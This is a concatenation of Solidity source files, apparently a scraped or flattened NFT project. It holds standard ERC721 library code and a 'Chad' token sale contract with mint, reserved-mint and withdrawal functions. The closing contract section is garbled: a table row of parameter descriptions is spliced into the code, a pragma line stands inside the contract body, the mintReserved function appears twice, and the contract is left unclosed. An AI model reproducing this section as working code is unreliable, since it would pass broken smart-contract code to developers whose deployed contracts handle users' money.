if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity =0.8.7;
import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol";
interface IChad is IERC721 {
/**
* @notice Mints specified number of tokens in a single transaction
* @param amount Total number of tokens to be minted and sent to `_msgSender()`
*
* Requirements:
*
* - `amount` must be less than max limit for a single transaction
* - `block.timestamp` must be greater than the sale start timestamp
* - `msg.value` must be exact (or greater) payment amount in wei
* - `currentPublicAmount` plus amount must not exceed max public amount
*/
function mint(uint256 amount) external payable;
/**
* @notice Mints specified number of tokens to every recipient in a single transaction
* @param amount Total number of tokens to be minted and sent to every recipient
* @param recipients Array of tokens recepients
*
* Requirements:
*
* - can be called by the owner
* - `currentReservedAmount` plus amount per recipient must not exceed the max reserved amount
*/
function mintReserved(uint256 amount, address[] calldata recipients) external;
/**
* @notice Transfers Ether to the contract owner
*
* Requirements:
*
* - can be called by the owner
*/
function withdrawEther() external;
/**
* @notice Set new prefix of each tokenURI
*
* Requirements:
*
* - can be called by the owner
*/
function setBaseURI(string memory newBaseURI) external;
/**
* @notice Set new collection metadata URI
*
* Requirements:
*
* - can be called by the owner
*/
function setContractURI(string memory newContractURI) external;
/**
* @notice Collection metadata URI
*/
function contractURI() external view returns (string memory);
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity =0.8.7;
interface IProxyRegistry {
function proxies(address owner) external view returns (address operator);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./extensions/IERC721Metadata.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/Strings.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
| Thursday, 26 August 2021, 16:00 UTC Max amount of public tokens Current amount of public tokens Max amount of reserved tokens Current amount of reserved tokens Mint price of each token (1 ETH) Max amount of NFT per one `mint()` function call Prefix of each tokenURI Interface id of `contractURI()` function OpenSea Proxy Registry address | contract Chad is Ownable, ERC721, IChad {
error AmountExceedsMax(uint256 amount, uint256 maxAmount);
error AmountExceedsMaxPerMint(uint256 amount, uint256 maxAmountPerMint);
error NotEnoughEther(uint256 value, uint256 requiredEther);
error SaleNotStarted(uint256 timestamp, uint256 startTime);
uint256 public immutable saleStartTimestamp = 1629993600;
uint256 public immutable maxPublicAmount = 9700;
uint256 public currentPublicAmount;
uint256 public immutable maxReservedAmount = 300;
uint256 public currentReservedAmount;
uint256 public immutable price = 0.035 ether;
uint256 public immutable maxAmountPerMint = 20;
string public override contractURI;
string internal baseURI;
bytes4 private constant INTERFACE_ID_CONTRACT_URI = 0xe8a3d485;
address internal constant OPEN_SEA_PROXY_REGISTRY = 0xa5409ec958C83C3f309868babACA7c86DCB077c1;
pragma solidity =0.8.7;
constructor(string memory contractURI_, string memory baseURI_) ERC721("Chad", "CHAD") {
contractURI = contractURI_;
baseURI = baseURI_;
}
function setBaseURI(string memory newBaseURI) external override onlyOwner {
baseURI = newBaseURI;
}
function setContractURI(string memory newContractURI) external override onlyOwner {
contractURI = newContractURI;
}
function mint(uint256 amount) external payable override {
if (block.timestamp < saleStartTimestamp)
revert SaleNotStarted(block.timestamp, saleStartTimestamp);
if (amount > maxAmountPerMint) revert AmountExceedsMaxPerMint(amount, maxAmountPerMint);
if (msg.value < price * amount) revert NotEnoughEther(msg.value, price * amount);
uint256 newPublicAmount = currentPublicAmount + amount;
if (newPublicAmount > maxPublicAmount)
revert AmountExceedsMax(newPublicAmount, maxPublicAmount);
currentPublicAmount = newPublicAmount;
_safeMintMultiple(_msgSender(), amount);
}
function mintReserved(uint256 amount, address[] calldata recipients)
external
override
onlyOwner
{
uint256 length = recipients.length;
uint256 newReservedAmount = currentReservedAmount + length * amount;
if (newReservedAmount > maxReservedAmount)
revert AmountExceedsMax(newReservedAmount, maxReservedAmount);
currentReservedAmount = newReservedAmount;
for (uint256 i = 0; i < length; i++) {
_safeMintMultiple(recipients[i], amount);
}
}
function mintReserved(uint256 amount, address[] calldata recipients)
external
override
onlyOwner
{
uint256 length = recipients.length;
uint256 newReservedAmount = currentReservedAmount + length * amount;
if (newReservedAmount > maxReservedAmount)
revert AmountExceedsMax(newReservedAmount, maxReservedAmount);
currentReservedAmount = newReservedAmount;
for (uint256 i = 0; i < length; i++) {
_safeMintMultiple(recipients[i], amount);
}
}
function withdrawEther() external override onlyOwner {
Address.sendValue(payable(owner()), address(this).balance);
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721, IERC165)
returns (bool)
{
return interfaceId == INTERFACE_ID_CONTRACT_URI || super.supportsInterface(interfaceId);
}
